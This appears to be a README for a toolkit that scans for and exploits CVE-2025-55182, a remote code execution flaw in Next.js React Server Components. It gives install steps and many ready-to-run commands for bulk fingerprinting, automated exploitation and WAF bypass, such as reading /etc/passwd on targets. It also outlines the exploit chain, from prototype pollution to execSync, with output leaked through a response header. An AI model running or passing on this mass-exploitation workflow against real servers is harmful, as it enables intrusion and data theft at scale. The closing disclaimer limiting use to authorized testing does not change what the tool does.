
Automated detection and exploitation toolkit for CVE-2025-55182, a critical RCE in Next.js React Server Components. Features multi-layered fingerprinting, WAF bypass, and bulk scanning for penetration testing.
A comprehensive security research tool for testing Next.js React Server Components Remote Code Execution vulnerability (CVE-2025-55182).
This toolkit provides automated detection and exploitation capabilities for CVE-2025-55182, a critical RCE vulnerability affecting Next.js applications using React Server Components. The toolkit consists of three integrated components:
requests librarypip3 install requests
git clone https://github.com/yourusername/CVE-2025-55182-poc-tool.git
cd CVE-2025-55182-poc-tool
chmod +x exploit.sh auto_exploit.sh
The fastest way to scan and exploit targets:
# Create a file with target URLs (one per line)
echo "https://example.com" > targets.txt
# Auto-scan and exploit in one command
./auto_exploit.sh -i targets.txt -s -c "id"
Identify Next.js applications without exploitation:
python3 NextApp.py targets.txt
Output files:
confirmed_nextjs_targets.txt - All detected Next.js applicationshigh_confidence_nextjs_targets.txt - High-confidence detections onlyTest individual targets:
# Basic exploitation
./exploit.sh -d https://target.com -c "whoami"
# With WAF bypass
./exploit.sh -d target.com -c "cat /etc/passwd" -w
# Custom WAF bypass size
./exploit.sh -d target.com -c "ls -la" --waf-bypass --waf-size 256
# Skip SSL verification
./exploit.sh -d https://target.com -c "id" -k
./auto_exploit.sh -i targets.txt -s -c "whoami"
# Step 1: Detect Next.js applications
python3 NextApp.py targets.txt
# Step 2: Exploit confirmed targets
./auto_exploit.sh -c "id"
# Full auto-scan with WAF bypass
./auto_exploit.sh -i targets.txt -s -w --waf-size 256 -c "whoami"
# Custom delays and timeouts
./auto_exploit.sh -i targets.txt -s --delay 5 --timeout 30 -c "id"
# Skip SSL verification in bulk mode
./auto_exploit.sh -i targets.txt -s -k -c "hostname"
python3 NextApp.py <targets_file>
Arguments:
targets_file - Text file containing target URLs (one per line)./exploit.sh [OPTIONS]
Options:
./auto_exploit.sh [OPTIONS]
Options:
Generated by NextApp.py - contains all URLs identified as Next.js applications.
Generated by NextApp.py - contains only high-confidence Next.js detections (100+ confidence score).
Generated by auto_exploit.sh - comprehensive exploitation report including:
The scanner uses multiple detection techniques with a confidence scoring system:
x-nextjs-*, x-vercel-*x-powered-by: Next.js__NEXT_DATA__ presence (100 points)_next/* asset paths (25-75 points based on quantity)__NEXT_DATA__, __NEXT_LOADED_PAGES__middlewareManifest, self.__RSC_MANIFESTConfidence Thresholds:
The exploit leverages a prototype pollution chain in Next.js React Server Components:
__proto__ chain via JSON deserialization_response._prefixprocess.mainModule.require('child_process').execSync()X-Action-Redirect headerThe toolkit includes built-in WAF bypass capabilities:
Enable with -w or --waf-bypass flags.
# Create target list
cat > targets.txt << EOF
https://app.example.com
https://dashboard.example.com
https://admin.example.com
EOF
# Run unified scan
./auto_exploit.sh -i targets.txt -s -c "whoami"
# Check results
cat exploit_results.txt
./exploit.sh -d https://target.com -c "cat /etc/passwd" -w --waf-size 256
# Step 1: Detect and filter
python3 NextApp.py targets.txt
# Step 2: Exploit high-confidence only
./auto_exploit.sh -i high_confidence_nextjs_targets.txt -c "id"
This tool is intended for authorized security testing and research purposes only. Users must:
Unauthorized access to computer systems is illegal. The authors assume no liability for misuse of this tool.
Thanks to the security researchers who discovered and disclosed this vulnerability:
Contributions are welcome! Please:
For issues, questions, or feature requests, please open an issue on GitHub.
This project is provided for educational and authorized security testing purposes. Use responsibly and ethically.
| Option | Description | Default |
|---|
-d, --domain | Target domain/URL | http://localhost:3000 |
-f, --file | File with target list | - |
-c, --command | Command to execute | id |
-w, --waf-bypass | Enable WAF bypass | Disabled |
--waf-size SIZE | WAF bypass data size (KB) | 128 |
--timeout SECONDS | Request timeout | 15 |
-k, --insecure | Skip SSL verification | Disabled |
--user-agent AGENT | Custom User-Agent | Mozilla/5.0... |
-h, --help | Show help message | - |
| Option | Description | Default |
|---|
-i, --input FILE | Input targets file | confirmed_nextjs_targets.txt |
-o, --output FILE | Output results file | exploit_results.txt |
-c, --command CMD | Command to execute | id |
-w, --waf-bypass | Enable WAF bypass | Disabled |
--waf-size SIZE | WAF bypass size (KB) | 128 |
--timeout SECONDS | Request timeout | 15 |
-k, --insecure | Skip SSL verification | Disabled |
--delay SECONDS | Delay between requests | 2 |
-s, --scan | Auto-scan for Next.js first | Disabled |
-h, --help | Show help message | - |